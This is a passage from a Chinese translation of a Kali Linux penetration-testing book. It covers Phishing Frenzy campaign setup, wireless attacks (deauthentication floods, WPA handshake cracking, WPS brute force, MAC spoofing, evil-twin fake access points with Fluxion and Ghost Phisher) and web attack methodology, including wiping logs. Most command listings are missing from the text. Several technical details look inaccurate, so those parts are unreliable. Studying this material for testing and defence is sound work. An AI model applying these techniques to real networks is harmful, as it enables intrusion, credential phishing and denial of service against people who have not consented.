    {"text": "5.7.1 用Phishing Frenzy搭建网络钓鱼活动 Phishing Frenzy是另一个开源的Ruby on Rails应用程序，被攻击者或渗透测试人员利用，以发起复杂的网络钓鱼活动。这个工具的目的是统一简化所有的网络钓鱼活动。使用以下命令在Kali Linux上安装Phishing Frenzy（见图5.30）。 图5.30 使用命令安装Phishing Frenzy Passenger模块编译完成后，必须通过导航到/etc/apache2/apache2.conf来编辑apache2配置文件，并添加以下代码： 编辑文件后，保存文件，并按Enter键到Passenger正在运行的控制台。如果所有配置完成，则会显示一条成功的消息，如图5.31所示。 图5.31 配置完成后的成功提示 为了掌控这个网站，我们必须包含一个具有虚拟主机信息的文件；在这种情况下，我们将在同一个文件夹/etc/apache2/pf.conf中创建pf.conf，然后在Apache配置文件中包含一行。 pf.conf的内容包括： 所有其他具体指导可在从 https://www.phishingfrenzy.com/resources/install_kali_linux 获取。 Phishing Frenzy利用redis与具体的redis协议的外部程序通信。一旦安装了所有需要的ruby bundle，下一步就是安装redis服务器，可以从 http://download.redis.io/releases/redis-stable.tar.gz 中下载： redis的成功安装如图5.32所示。 现在让redis服务器监听端口6279，但是默认的redis服务器在端口6379上运行。一旦数据库配置了所有必须的Ruby-and Rails专用库，测试人员就可以通过运行rake db：migrate自动创建数据库中的表，如图5.33所示。 图5.32 成功安装redis 图5.33 迁移并自动创建数据库中的表 最后，如果一切都设置并运行，你就可以看到如图5.34的登录界面。 图5.34 设置完成后的登录界面 自动脚本的测试版本是为了在Kali linux上安装Phishing Frenzy而编写的，可以在 https://github.com/vijayvkvelu/Frenzy 找到。 5.7.2 发起网络钓鱼攻击 现在我们都将使用Phishing Frenzy来发起网络钓鱼活动。以下是攻击者通常设置的一个非常真实的活动的步骤： 转到Campaigns，然后点击New Campaign（新建活动）按钮，例如companyz并输入说明，如图5.35所示。 图5.35 Campaigns按钮 一旦创建了新的活动，现在需要填写我们确定的目标的重要部分。攻击者可能会选择在互联网上托管自己的SMTP中继服务器。活动的四个主要部分如下： ·模板（Template）：它允许攻击者选择预定义的模板进行网络钓鱼；但是，可以通过从顶部菜单导航到模板部分来相应地进行自定义。 ·SMTP：攻击者必须在默认情况下填写Outbound SMTP服务器详细信息，你会注意到Gmail、Outlook、GoDaddy和SendGrid等已经预先填写了服务器详细信息。 ·电子邮件（Email）：这涉及非常关键的设置，其中攻击者现在可以将所有被动/主动侦察信息放在一起，形成正确的电子邮件发送给目标受众。在本节中，必须提供主题、表单、显示名称、回复、网络钓鱼网址和FQDN，这些信息将作为发送给受害者的最终电子邮件的一部分。 ·网络钓鱼（Phishing）：网络钓鱼所需的选项是通过练习的目的来选择的，例如，网络钓鱼的目的是仅收集点击次数，或是从目标公司用户那里收集凭证。本节提供选择SMTP发送延迟、跟踪用户的点击，以及提供更多选项，如使用SSL和BEEF框架的选项。 图5.36提供了前述的选项列表。 一旦完成所有设置，攻击者可以通过单击Test来测试设置。可以通过点击Launch来执行网络钓鱼启动的最终验证。攻击者可以选择为同一公司内的不同部门创建多个活动。Phishing Frenzy提供了在一个地方跟踪所有活动的选项，如图5.37所示。 图5.36 选项列表 图5.37 提供跟踪活动的选项 可以使用的其他类似框架是Gophish，它提供了自己的API，用于通过电子邮件钓鱼进行社会工程攻击。 5.8 小结 社会工程学是一种黑客社会学（hacking the human）——利用人们与生俱来的信任和乐于助人的品质来攻击网络及其设备。 在本章中，我们研究了社会工程如何用来促进攻击、收获网络凭据、激活恶意软件，或协助发起进一步的攻击。大部分的攻击依赖于社会工程工具SEToolkit；然而，Kali有几个其他的应用程序，可以改进使用社会工程学的方法。我们还研究了如何进行物理访问，通常需要与社会工程相结合，可以用来在目标网络上放置敌对设备。 在下一章中，我们将研究如何对无线网络进行侦察，攻击开放的网络，以及使用基于WPA2加密保护的网络。我们还将研究一般无线协议的弱点，对它们进行拒绝服务攻击和假冒攻击。 第6章 无线攻击 “技术需要在谜团中去探索。” 鉴于移动设备的主导地位和提供即时网络连接的需要，无线网络已成为互联网上无处不在的接入点。不幸的是，无线接入在提供便利性的同时，也带来了盗窃访问、盗窃数据，以及网络资源拒绝服务等有效攻击。Kali提供了多种用于配置工具和发启无线攻击的工具，使组织机构能够提高其安全性。 在本章中，我们将审查研究几个日常任务和无线攻击，其中包括： ·配置Kali实现无线攻击。 ·无线侦察。 ·绕过SSID ·绕过MAC地址认证。 ·破解WEP加密。 ·攻击WAP和WPA2。 ·使用Reaver攻击无线路由 ·针对无线通信的拒绝服务（Denial-of-service，DoS）攻击。"},
    {"text": "6.1 配置Kali实现无线攻击曝光 Kali Linux几个工具的发布使无线网络的测试变得很容易；然而，这些攻击需要大量的配置，以达到充分有效。除此之外，测试人员在实施攻击或审计无线网络之前，应该拥有丰富的无线网络背景。 在无线安全测试中，最重要的工具是无线适配器，它连接到无线接入点。它必须支持所使用的工具，尤其是aircrack-ng工具的组件；特别是，该卡的芯片和驱动器必须具备向通信流注入无线数据包的能力。这是侦察、攻击的要求，必须在目标和受害者之间注入特定类型的数据包。所注入的数据包可能会引起拒绝服务攻击，允许攻击者获取破解加密密钥或支持其他无线攻击所需要的信号交换数据。 aircrack-ng网站（ www.aircrack-ng.org ）包含一个已知的兼容的无线适配器列表。 在Kali中使用的最可靠适配器是ALFA NETWORK cards，尤其是AWUS036NH适配器，它支持无线802.11b、802.11g和802.11n协议。Alfa cards已在现有网络中使用，并支持Kali的所有测试和攻击。"},
    {"text": "6.2 无线侦察 实施无线攻击的第一步是进行侦察——它可以识别准确的目标接入点，并高亮度显示可能影响测试的其他无线网络。 如果你使用连接USB的无线网卡连接到Kali虚拟机，确保USB连接已经断开主机操作系统，并通过单击USB连接图标连接到VM虚拟机，如图6.1所示，箭头所指即USB连接图标。 图6.1 USB连接图标 接下来，通过运行命令行中的iwconfig命令，确定哪些无线接口是可用的，如图6.2所示。 图6.2 确定可用无线接口 对于某些特定攻击，你可能希望增加适配器的输出能力。如果你是一个合法的同位无线接入点，这是特别有用的，和你想要的目标连接在你的控制之下的虚假的接入点，而不是合法的接入点。这些虚假或者流氓（rogue）接入点，允许攻击者截获数据，并根据攻击的需要查看或更改数据。攻击者频繁复制或克隆合法的无线网站，然后增加其相对合法网站更强的传输能力，来作为吸引受害者的诱饵。使用如下命令增加传输能力： 使用aircrack-ng及其相关工具可以执行许多攻击。首先，我们需要拦截或监控无线传输；因此，我们需要使用airmon-ng命令，为监控模式（monitor mode）设置拥有无线功能Kali通信接口： 前面命令的执行结果如图6.3所示。 注意，返回的描述表明有些进程可能会造成麻烦。处理这些进程最有效的方法是使用综合性的kill命令，如下所示： 图6.3 使用airmon-ng命令 使用以下命令查看本地无线环境： 前面的命令，列出了特定时间点可以在无线适配器范围内找到的所有已识别的网络。它提供由MAC地址识别的无线网络节点的BSSID基本服务集标识符，标明了相对的输出能力、数据包发送的信息、包含使用通道和数据的带宽信息、使用的加密信息，以及提供无线网名称的ESSID。相关信息如图6.4所示，非必需的ESSID标识符已经被模糊。 airodump命令通过可用的无线信道循环执行，并确定了以下几点： ·基本服务集标识符（Basic Service Set Identifier，BSSID），它是唯一的可以标识无线接入点或路由器的MAC地址。 ·每个网络的PWR或电源。尽管airodump-ng错误地显示功率为阴性，但这是一个假象的报告。为了获取正确的正值，接入终端并运行airdriver-ng unload36，然后运行airdriver-ng load35。 图6.4 显示ESSID标识符 ·CH显示了用于广播的频道。 ·ENC显示使用的加密技术——它是OPN，或开放的、没有加密，或者WEP或WPA/ ·WPA2（如使用加密）。加密（CIPHER）和身份验证（AUTH）提供额外的加密信息。 ·扩展服务集标识符（Extended Service Set Identifier，ESSID）是由拥有相同SSID或名称的接入点组成的无线网络的名称。 在终端窗口的下半部分，你将看到站点试图连接或已经连接到无线网络。 在我们和其他任何目标（潜在的）网络交互之前，必须确认我们的无线网卡有数据包注入的能力。要做到这一点，需在终端窗口的shell提示符下，运行以下命令： 上面的命令执行结果如图6.5所示，-9表示注入测试。 图6.5 运行aireplay-ng-9mon0命令 Kismet 最重要的无线侦察工具是Kismet，它是一个802.11无线探测器、嗅探器和入侵检测系统。 Kismet可用于收集以下信息： ·无线网络的名称，ESSID。 ·无线网络的信道。 ·接入点的MAC地址，BSSID。 ·无线客户端的MAC地址。 Kismet也可以用来嗅探802.11a、802.11b、802.11g和802.11n等无线通信流量中的数据。并支持用于嗅探其他无线协议的插件。 在终端窗口的命令提示符下输入kismet启动Kismet。 当Kismet启动后，你将面临一系列的问题，允许你在其启动过程中对其进行配置。用Yes回应Can you see colors，接受Kismet is running as root（Kismet以root权限运行），并对Start Kismet Server选择Yes。在Kismet的启动选项中，不选中Show Console（显示控制台），因为它会遮挡屏幕。启动Kismet（见图6.6）。 图6.6 运行Kali的Kismet 系统将提示你添加一个捕捉接口，通常我们选择wlan0。 Kismet开始嗅探数据包，并收集位于临近物理区域的所有无线系统信息。 通过双击Kismet选择一个网络，你可以在无线网络上看到一些额外的信息。 你也可以深入研究以确定连接到各种无线网络的特定客户端。 使用Kismet作为发起一些特定的攻击（嗅探发送的数据）或识别网络的初始侦察工具。因为它能被动地收集连接数据，所以它是一个很好的隐蔽识别网络的工具，尤其是当SSID未被公开传输时。"},
    {"text": "6.3 绕过一个隐藏的服务集标识符 ESSID是标识一个无线局域网络的唯一字符序列。通过隐藏ESSID来试图实现网络安全是一个很差的方法；不幸的是，ESSID可以通过以下方式获得： ·嗅探无线环境，等待客户端关联到一个网络，然后捕获该关联。 ·主动取消鉴定客户端，强制客户端关联，然后捕获该关联。 aircrack工具特别适合捕捉需要取消ESSID隐藏的数据，正如以下步骤所示： 1.在命令提示符下，输入以下命令，确认无线在受攻击系统中已经启动： 2.使用下面的ifconfig命令，检查可用接口，并确定你使用的无线系统的确切名称。 3.输入以下命令来启用你的无线接口（你可能需要把wlan0换成上一步骤中，确认可用的无线接口）： 4.如果你使用ifconfig再次确认（见图6.7），你会发现有一个监控或mon0地址正在被使用。现在，使用airodump确认可用的无线网络，如下面给出的命令： 图6.7 使用ifconfig确认可用无线网络 正如你所看到的，第一个网络的ESSID标识是被认定为<length：9>。没有其他的名字或名称被使用。隐藏的ESSID长度被确定由9个字符组成；然而，这个值可能不正确，因为ESSID是隐藏的。真正的ESSID长度实际上可能短于或超过9个字符。 最重要的是可能存在已连接到该特定网络的客户机。如果客户端存在，我们将取消鉴定客户端，迫使他们在重新连接接入点时发送ESSID。 重新运行airodump，并滤掉目标接入点之外的一切信息。在这种特殊情况下，我们将重点从隐藏网络的信道6上收集数据，使用以下命令： 执行该命令删除多个无线源的输出，并允许攻击者把重点放在目标ESSID上，如图6.8所示。 图6.8 使用airodump-ng-c 6mon0命令 执行airodump命令时得到的数据表明，这有一个站点（00：0E：2E：CF：8C：7C）已连接到BSSID（00：18：39：D5：5D：61），而这又与隐藏的ESSID相关联。 为了截获正在传输的ESSID，我们必须创建一种条件，即可以让我们知道，这将在客户端和接入点之间连接发送的初始阶段。 因此，我们将针对客户端和接入点发起一个取消鉴定的攻击，发送一个可以中断它们之间的连接，并迫使它们重新鉴定的数据包流。 发动攻击，打开一个新的命令shell，并输入如图6.9所示的命令（0表明我们正在启动一个取消鉴定攻击，10表明我们将发送10个取消鉴定数据包，-a是目标接入点，c是客户端的MAC地址）。 图6.9 使用aireplay-ng-010-a-c命令 在所有的取消鉴定数据包发送之后，返回在信道6中，可以监视网络连接的原始窗口，如图6.10所示。现在，你将看到清晰的ESSID。 图6.10 看到清晰的ESSID ESSID可以帮助攻击者，确认他们正在关注的是正确的网络（因为大多数ESSID基于企业标识），并使登录过程更便利。"},
    {"text": "6.4 绕过MAC地址验证与公开验证 媒体访问控制（Media Access Control，MAC）地址，用于在网络中唯一地标识每个节点。它是由六对用冒号或连字符分开的十六进制形式的数字（0-9和字母A到F）组成的，看起来通常像这个样子：00：50：56：C0：00：01。 MAC地址，通常关联到一个拥有网络能力的网络适配器或设备；因为这个原因，它经常被称为物理地址。 MAC地址的前三对数字被称为组织唯一标识符（Organizational Unique Identifier），他们用来确定生产或销售设备的公司。最后三对数字是特定于设备的，可以认为是一个序列号。 因为MAC地址是唯一的，它可以用来将一个用户关联到一个特定的网络，尤其是无线网络。这有两个重要的含义——它可以用来识别网络访问者是一名黑客，还是一名的合法网络测试者，它也可以作为鉴定个体身份，并授权他们访问网络权限的工具。 在渗透测试的过程中，测试人员可能更喜欢匿名访问网络。支持匿名信息的方法是改变攻击系统的MAC地址。 这可以使用ifconfig命令手动完成。确定现有的MAC地址，运行命令解释器中的以下命令： 要手动更改IP地址，使用下面的命令： 替换不同的十六进制对的“xx”表达式。这个命令将允许我们更改攻击系统的MAC地址，更改为受害者网络接受的MAC地址。攻击者必须确保这个MAC地址并没有在网络上使用，否则，如果网络被监控，重复的MAC地址可能会触发警报。 在改变MAC地址之前，无线接口必须被关闭。 Kali还允许使用一个自动化工具macchanger。要改变攻击者的MAC地址，为同一供应商生产的产品的MAC地址，可从终端窗口中使用如下macchanger命令： 要改变现有的MAC地址为一个完全随机的MAC地址，可使用以下命令，运行该命令后的屏幕截图如图6.11所示： 图6.11 运行macchanger wlan0-r 有些攻击者在测试过程中，使用自动化脚本频繁地改变他们的MAC地址，以实现匿名化他们的攻击活动。 许多组织，尤其是学院和大学等大型学术团体，使用MAC地址过滤来控制谁可以访问他们的无线网络资源。MAC地址过滤使用网卡上唯一的MAC地址来控制对网络资源的访问；在一个典型的配置中，该组织维护一个允许访问网络的MAC地址白名单（whitelist）。如果传入的MAC地址不在已批准的访问列表中，将限制其连接到该网络。 不幸的是，MAC地址信息以明文传输。攻击者可以使用airodump收集接收到的MAC地址列表，然后手动改变他们的MAC地址为目标网络接受的MAC地址。因此，这种类型的过滤几乎没有为无线网络提供任何实质的保护。 一个最新水平的无线保护是由加密提供的。 6.5 攻击WPA和WPA2 无线访问保护（WiFi Protected Access，WPA）和无线访问保护2（WiFi Protected Access 2，WPA2）是用于解决WEP安全缺陷的无线安全协议。因为WPA协议可以为每一个数据包动态生成新的密钥，阻止那些导致无线保护访问失败的统计分析。然而，它们仍然很容易受到一些攻击技术的攻击。 WPA和WPA2经常使用预共享密钥（pre-shared key，PSK）进行部署，来提供访问点和无线客户端之间的安全通信。PSK是一个至少13个字符长的随机密码；如果不是13字符长，对一个已知的字典，使用暴力攻击来确定一个PSK是可能的。这是最常见的攻击。 如果是在Enterprise模式中进行配置，其可以使用RADIUS认证服务器提供身份认证，破解WPA需要更强大的机器，或者需要不同的中间人攻击"},
    {"text": "6.5.1 暴力攻击曝光 不像WEP，可以被对大量数据包的统计分析所破解，WPA解密需要攻击者创建特定的、已知详细信息的数据包类型，如接入点和客户端之间的信号交换信息。 攻击一个WPA传输，应该执行以下步骤： 1.启动无线适配器，并使用ifconfig命令来确保已创建监控界面。 2.使用airodump-ng-wlan0识别目标网络。 3.开始使用以下命令捕获目标接入点和客户端之间的流量： 设置-c监控特定信道，--showack标志用来确保客户端计算机认可你的请求，即从无线接入点取消鉴定；而-w把输出写入一个用于后续字典攻击的文件中。这种攻击的典型输出如图6.12所示。 图6.12 一个典型的输出 4.使该终端窗口处于打开状态，并打开另一个终端窗口发起取消鉴定攻击；这将迫使用户重新认证目标接入点，并再次交换WPA密钥。取消鉴定攻击的命令如下所示： 执行上述命令的结果如图6.13所示。 图6.13 执行aireplay-ng-010命令 成功取消鉴定攻击将显示ACKs，这表明连接到目标接入点的客户端，已接收到刚刚发送的取消鉴定命令。 回顾最初用于监控无线传输的开放命令脚本，确保你捕获了4次握手信息。一个成功的WPA握手会在顶部右手边的控制台中显示。在图6.14的示例中，数据显示WPA握手的值是28：10：7B：61：20：32： 图6.14 捕获握手信息 5.由aircrack破解WPA密钥，使用一个定义的词库。由攻击者定义的，用于收集握手交互信息数据的文件名位于根目录下，而且-01.cap的扩展名将被加载到该文件名中。 在Kali中，词库位于/usr/share/wordlists目录中。虽然几种词库均是可用的，但还是建议你下载在破解常见密码中最有效的列表。 在上述示例中，密钥被预先放置在密码列表里。实施字典攻击一段时间后，破解复杂的密码可能需要花费几个小时，这取决于该系统的配置。下面的命令使用字（words）作为源词库。 图6.15显示了成功破解WPA密钥的结果；网络监工的秘钥，在测试44个秘钥之后被发现是princessmouse。 图6.15 发现秘钥 如果你手上没有一个定制的密码列表或者希望迅速生成一个列表，你可以使用Kali的crunch应用程序。下面的命令指导crunch程序使用给定的字符集，创建一个最小长度5字符和最大长度25字符的单词列表。 你还可以使用基于GPU的密码破解工具，提高暴力攻击的有效性（AMD/ATI的图形卡oclHashcat和英伟达显卡cudaHashcat）。 要实现这种攻击，首先需要使用以下命令把WPA握手信号交互捕获的文件psk-01.cap转换成hashcat文件： 转换完成后，针对最新捕获文件，使用以下命令运行hashcat（选择匹配你的CPU架构和图形卡的hashcat版本）： 如果有多个CPU，可以利用Pyrit来破解密码。Pyrit允许攻击者预先大量计算WPA/WPA-PSK。Pyrit可以从 https://github.com/JPaulMora/Pyri 下载。该工具利用其他平台，如ATI-Stream、Nvidia CUDA和OpenCL，具有多CPU的计算能力。攻击者可以利用John the Rippe、cowpatty与Pirit一起使用，通过在终端中使用以下命令从捕获的无线流量中破解密码： 基本上，Join the Ripper将为所有的字符、特殊字符和数字逐步创建一个字典。之后，输出将被传递给Pyrit，使用遍历关键字破解密码，另外cowpatty会破解特定WiFi-ESSID的密码。 6.5.2 使用Reaver攻击无线路由器曝光 WEP和WPA2也很容易受到针对无线保护设置的接入点、WPS和个人识别码的攻击。 大多数接入点支持WiFi保护设置（WiFi Protected Setup，WPS）协议，其在2006年成为一个允许用户很轻松地设置和配置接入点的标准，并可以为现有网络增加新设备，而无须重新输入大量且复杂的密码。 不幸的是，该个人识别码为一个8位数字序号（可能是100000000），并且最后一个数字是一个校验值。因为WPS认证协议把该个人识别码一分为二，并分别对其进行验证，那就意味着它的前半部分的值为104（10000），后半部分的值为103（1000）——攻击者只需通过进行最大数量为11000次猜测就能破解该接入点！ Reaver是一种旨在最大限度地进行猜测的工具（尽管Wifite同样可以进行WPS猜测）。 进行Reaver攻击，可以通过如下命令使用一个叫作wash的同类工具来识别网络的任何漏洞： 如果该网络有任何网络漏洞，可以使用如下命令发起对这些漏洞的攻击： 在Kali中测试这种攻击表明，这种攻击速度缓慢且容易失败；然而，它可以用作背景攻击，或者补充其他路由攻击来破解WPA网络。"},
    {"text": "6.6 拒绝服务（DoS）攻击无线通信 我们将要评估的最后一个针对无线网络的攻击是拒绝服务攻击，在这里，攻击者将使合法用户访问无线网络的权限丧失，或通过致使网络崩溃的方法使网络不可用。无线网络极其容易受拒绝服务攻击，并且在分布式的无线网络上，很难定位攻击者。拒绝服务攻击的例子包括以下内容： ·注入制作网络命令，比如在无线网络上重新配置命令可能引起路由器、交换机和其他网络设备的失效。 ·一些设备和应用程序可以识别正在发生的攻击，并通过自动禁用网络来实现响应。恶意的攻击者可以发起一个很明显的攻击，然后让目标自己创建拒绝服务攻击。 ·用大量数据包洪泛攻击无线网络，可以致使该网络不可用；例如，HTTP洪泛攻击可以使数千个页面同时请求访问一个Web服务器，这可以耗尽该Web服务器的处理能力。在相同的方式下，使用认证和关联数据包块，用户可从其连接的接入点洪泛攻击该网络。 ·攻击者通过精心设计具体的解除认证和解除关联的命令，可以在无线网络中，用关闭授权连接来洪泛攻击该网络，并停止合法用户维护他们到无线接入点的连接。 为了证明最后一点，我们将使用取消认证数据包，来创建一个泛洪拒绝服务攻击。因为无线802.11协议是在收到定义的数据包时建立的，且其支持解除认证（所以，当连接不需要时，用户可以中断该连接），这可能是一个毁灭性的攻击——它符合标准，并且没有办法可阻止其发生。 使合法用户关闭网络的最简单方法是针对他们使用一个解除认证数据包流。这些可以在aircrack-ng工具套件的帮助下完成，使用如下命令： 此命令确定攻击类型为-0，表明它是一个取消鉴定攻击。第二个0（零）发射连续的取消鉴定数据包流，使得网络无法为其他用户所用。 Websploit框架是用来扫描和分析远程系统的开源工具。它包含几个工具，包括特定的无线攻击工具。要启动它，需要打开一个命令脚本并简单地输入websploit。 该Websploit界面类似于recon-ng和Metasploit框架，并将其作为一个模块化接口显示给用户。 一经发起，可以使用show modules命令来显示在现有版本中的攻击模块。使用use wifi/wifi_jammer命令选择WiFi干扰发射机（一种取消鉴定数据包流）。如图6.16所示，攻击者只需要使用set命令来设置各种选项，然后选择run发起攻击。 图6.16 使用wifi_jammer命令"},
    {"text": "6.7 对WPA/WPA2实施攻击规划 WPA是广泛传播企业所采用的技术。它不使用单个WPA-PSK，大多数用户使用该技术连接到无线网络。为了兼顾域名账户的治理与灵活性，企业利用WPA方案。 破坏企业无线网络的典型方法是：首先枚举无线设备，最后攻击连接的客户端，目的是找出认证细节。这包括欺骗目标网络，并向客户端提供良好的信号。然后，原有的有效接入点接入延迟，在接入点（Access Point，AP）和连接到AP的客户端之间导入了MiTM攻击。为了模拟企业WPA攻击，当他们有一定量的接入点时，攻击者必须在物理上靠近目标。攻击者还可以使用wireshark嗅探流量，以识别无线网络流量握手。 在本节中，我们将使用Fluxion对WPA/WPA2企业执行不同类型的攻击。Fluxion是一种自动无线攻击工具，可以逃开无线，并创建恶意的访问点，它是用Bash和Python混合编写的。 可以通过运行git clone https://github.com/wi-fi-analyzer/fluxion 来下载Fluxion。这个工具基于Linset，一个Evil Twin Attack Bash脚本。 攻击者可以利用此工具执行以下类型的攻击： ·扫描无线网络 ·利用捕获的数据包来查找握手（提供有效的已经完成的握手） ·提供Web界面 ·在几秒钟内创建假的AP以模仿原始AP ·它能够产生MDK3（一种将数据包注入无线网络的工具） ·自动启动假DNS服务器，以捕获所有DNS请求并将其重定向到托管机器 ·为了密码密钥，创建一个假网页门户 ·一旦找到钥匙，自动终止会话 一旦将Fluxion克隆到Kali Linux，确保运行Installer.sh，以便安装Fluxion运行所需的所有依赖项和库，无任何问题。攻击者成功安装Fluxion的截图如图6.17所示。 图6.17 攻击者成功安装Fluxion Fluxion允许攻击者从6种不同的语言中进行选择；一旦选择了该语言，将可以选择笔记本电脑/PC上的所有无线LAN接口。选择界面后，这些工具可提供选择特定通道或所有通道扫描网络的选项；攻击者可以根据目标Wi-Fi选择频道。扫描完成后，通过扫描识别无线AP列表，按Ctrl+C移至下一个屏幕，如图6.18所示。 当无线AP的所有列表都可用，攻击者可以继续任何选定的网络。例如，从图6.18中，攻击者将目标选择为31（VJ-Wifi2.4GHz），它正在加密WPA2上运行，并进入模拟Wi-Fi的下一个阶段，就像复制自己的基础架构和设置一样，它没有太大的区别。Fluxion允许我们选择4个选项，如图6.19所示。 图6.18 识别无线AP列表 图6.19 选择选项 可以看到以下是附加选项： ·通过Hostapd设置一个FakeAP。 ·使用airbase-ng设置FakeAP。 ·WPS-SLAUGHTER，可以通过强制WPS PIN码直接攻击无线AP（这只能做到为数字）。 ·强制破解（Bruteforce）密码（只要有一个有效的握手完成）。 当攻击者选择执行FakeAP攻击时，使用相同的名称托管无线AP并轻松利用Websploit来降低信号强度，从而迫使客户端通过FakeAP（假AP）连接到AP。 Fluxion的写入方式是自动使用MDK3来对连接到AP的所有客户端进行身份验证，如图6.20所示。 同时，捕获数据通过另一个窗口进行，如图6.21所示。 一旦用户连接到FakeAP，受害者将被迫输入密码，直到它们正确地浏览其移动/笔记本电脑上的任何东西。一旦用户按下右键，Fluxion将显示破解的密钥，如图6.22所示。 当攻击者执行FakeAP攻击时，他们将能够看到如图6.23所示的界面，多个屏幕运行完全自动化，其中DHCP服务器、假DNS服务器和假网站托管运行在Kali Linux中的Fluxion的同一系统上。 图6.20 客户端进行身份验证 图6.21 数据捕获窗口 图6.22 Fluxion显示破解的密钥 图6.23 DHCP、假DNS和假网站托管在Fluxion的同一系统上运行 6.8 使用Ghost Phisher工作 与Fluxion类似，Kali具有内置应用程序，以GUI方式执行Wi-Fi钓鱼活动。Ghost Phisher是为了识别无线和以太网安全审计而建立的。它是完全用Python和Python QT编写的GUI库。 为了获取用户凭据，攻击者可以利用Ghost Phisher应用程序启动Fake AP，如图6.24所示。 Ghost Phisher目前提供以下可由渗透测试人员或攻击者利用的功能： ·创建HTTP服务器。 ·DNS服务器。 ·DHCP服务器。 ·凭据记录页面（用于网络钓鱼任何用户名和密码）。 ·接入点仿真器。 ·高级会话劫持模块。 ·Ghost Phisher提供执行ARP缓存中毒选项，以执行MiTM和DoS攻击的选项，类似于Ettercap/BetterCAP。 ·允许攻击者嵌入metasploit绑定技术。 ·SQLite数据库存储凭据。 图6.24 利用Ghost Phisher应用程序启动Fake AP 6.9 小结 我们研究了针对无线网络攻击的几个成功的管理任务，包括无线适配器的选择、无线调制解调器的配置，以及AP的侦察工具如aircrack-ng、Kismet。在这一章中，我们重点使用了aircrack-ng的工具组件来确定隐藏网络，绕过MAC地址认证、破解WPA/WPA2，以及WPA企业。我们也看到了如何使用Fluxion、Ghost Phisher搭建假AP（FakeAP），以及如何针对无线网络执行拒绝服务攻击（DoS）。 下一章我们将关注如何利用特定方法评估网站，即执行必要的侦察和扫描来识别可利用的漏洞。我们会看到攻击者如何使用自动化工具来利用这些漏洞，如利用框架和在线密码破解。最后，我们将能够对Web应用程序进行最重要的攻击，然后利用与Web外壳的访问来完全渗透Web服务，并研究特定服务为何容易受到DoS攻击。"},
    {"text": "第7章 基于Web应用的侦察与利用 “Web利用开发的艺术是用工具思考的方式思考。” 在前面的章节中，我们回顾了攻击者的杀链——用来攻击网络和设备、发现数据，或阻碍访问网络资源等内容。在第5章中，我们从物理攻击和社会工程学出发研究了攻击的路线。在第6章中，我们看到了无线网络如何被入侵。在本章中，我们将重点研究最常见的攻击途径之一——通过网站或基于Web应用的攻击。 提供内容和基于网络的服务（例如，电子邮件和FTP）的网站是普遍存在的，并且大多数组织允许远程访问这些服务和几乎所有可用内容。然而，对于渗透测试者和攻击者，网站暴露了在网络上的后端服务、访问网站的用户客户端的活动，以及用户和该网站之间连接数据的频繁攻击。本章将重点从网站和网络服务的攻击者的角度来讨论，我们会在第8章回顾远程访问攻击，在第9章讨论应用客户端的攻击。 通过本章最后的学习，你将了解以下内容： ·Web应用程序攻击方法。 ·Web应用程序入侵思维图和漏洞扫描。 ·特定应用程序的攻击。 ·利用Web服务漏洞。 ·利用网络后门维护访问入侵系统。 7.1 方法 系统的、面向目标的渗透测试总是正确的开始方向。图7.1提供了所有Web应用程序入侵的方法，方法分为目标选择、爬虫和枚举、漏洞扫描、开发、覆盖痕迹和维护访问。 图7.1 Web应用攻击方法 前述方法详细解释如下： ·设定目标（Set Target）：在渗透测试中设置正确的目标是非常重要的，因为攻击者将更多地关注特定的脆弱系统，以获得基于kill-chain方法的系统级访问。 ·爬虫和枚举（Spider and Enumerate）：在此阶段，攻击者已经确定了Web应用程序的列表，以深入挖掘特定的漏洞。利用多种方法将爬虫应用于各种网页，并发现与之相关的东西进入下一阶段。 ·漏洞扫描（Vulnerability Scannibg）：在这个阶段，所有已知的漏洞都是从众所周知的漏洞数据库收集而来，这些数据库具有公开的漏洞或已知的常见安全错误配置。 ·利用（Exploitation）：该阶段用户可以利用已知和未知的漏洞，包括应用程序的业务逻辑。例如，如果一个应用程序管理界面被曝光，这个应用是脆弱的。攻击者可以直接试着访问接口执行各种类型的攻击，如密码猜测、蛮力攻击，或利用特定管理界面漏洞（JMX控制台攻击管理界面，无须登录和部署特别文件，并且运行一个远程shell）。 ·覆盖痕迹（Cover Tracks）：在这个阶段，攻击者通过跟踪他们前进的每一步来清除所有的证据。例如，如果一个系统已经被上传文件漏洞和服务器上执行的远程命令破坏了，那么攻击者将尝试清除应用服务器日志、Web服务器日志、系统日志和其他日志。 ·维持访问（Maintain Access）：当痕迹被覆盖时，要确保没有日志被留下用于追溯到入侵的源地址。攻击者可能会利用系统执行特权升级，或可以使用系统作为一个僵尸来执行更多的内部攻击，如在共享的驱动器上传播勒索软件，或者将受害系统都加到一个域，在更大组织的情况下控制这个企业域。 7.2 黑客构思 人类的思维是无可替代的，本节将更加关注如何从攻击者的角度来看待Web应用。图7.2显示了黑客的Web应用思维导图。 图7.2 Web应用黑客思维导图 维导图主要分为两类：攻击者攻击服务器端漏洞或客户端漏洞。 服务器端和客户端漏洞通常是由于以下简单原因造成的： ·使用旧的/未更新的技术 ·非常低的安全配置 ·在没有安全意识的前提下编写应用程序 ·人为因素——缺乏有能力的员工 在服务器端，攻击者通常会执行以下列表的攻击： ·Web应用防火墙规避 ·SQL注入 ·远程执行代码 ·远程文件包含漏洞或本地文件包含漏洞 ·路径遍历 ·利用会话管理 ·利用系统或应用的逻辑漏洞 ·识别相关信息可以帮助攻击者执行更多目的明确的攻击 客户端攻击更侧重于利用浏览器或网络中存在的漏洞： ·Flash漏洞，到2017年3月28日，flash播放器有1006个漏洞（ https://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-6761/Adobe-Flash-Player.html ）。 ·JavaScript漏洞和Java漏洞。 ·DNS的钉扎重新绑定漏洞。DNS重新绑定是一种基于DNS将恶意代码嵌入到Web页面上的攻击。通常，来自Web页面（JavaScript、Java和Flash）中的代码的请求被绑定到它们源自的网站（参见同源策略）。DNS重新绑定攻击可以用来提高JavaScript恶意软件侵入私有网络的能力，并破坏浏览器的同源策略。 ·非DNS的钉扎漏洞。 ·脚本注入漏洞、跨站脚本攻击、反射、存储、基于DNS的漏洞。 考虑到所有的漏洞列表，攻击者现在装备了完整的开发工具包列表，并准备开始一个网站的侦察活动。"},
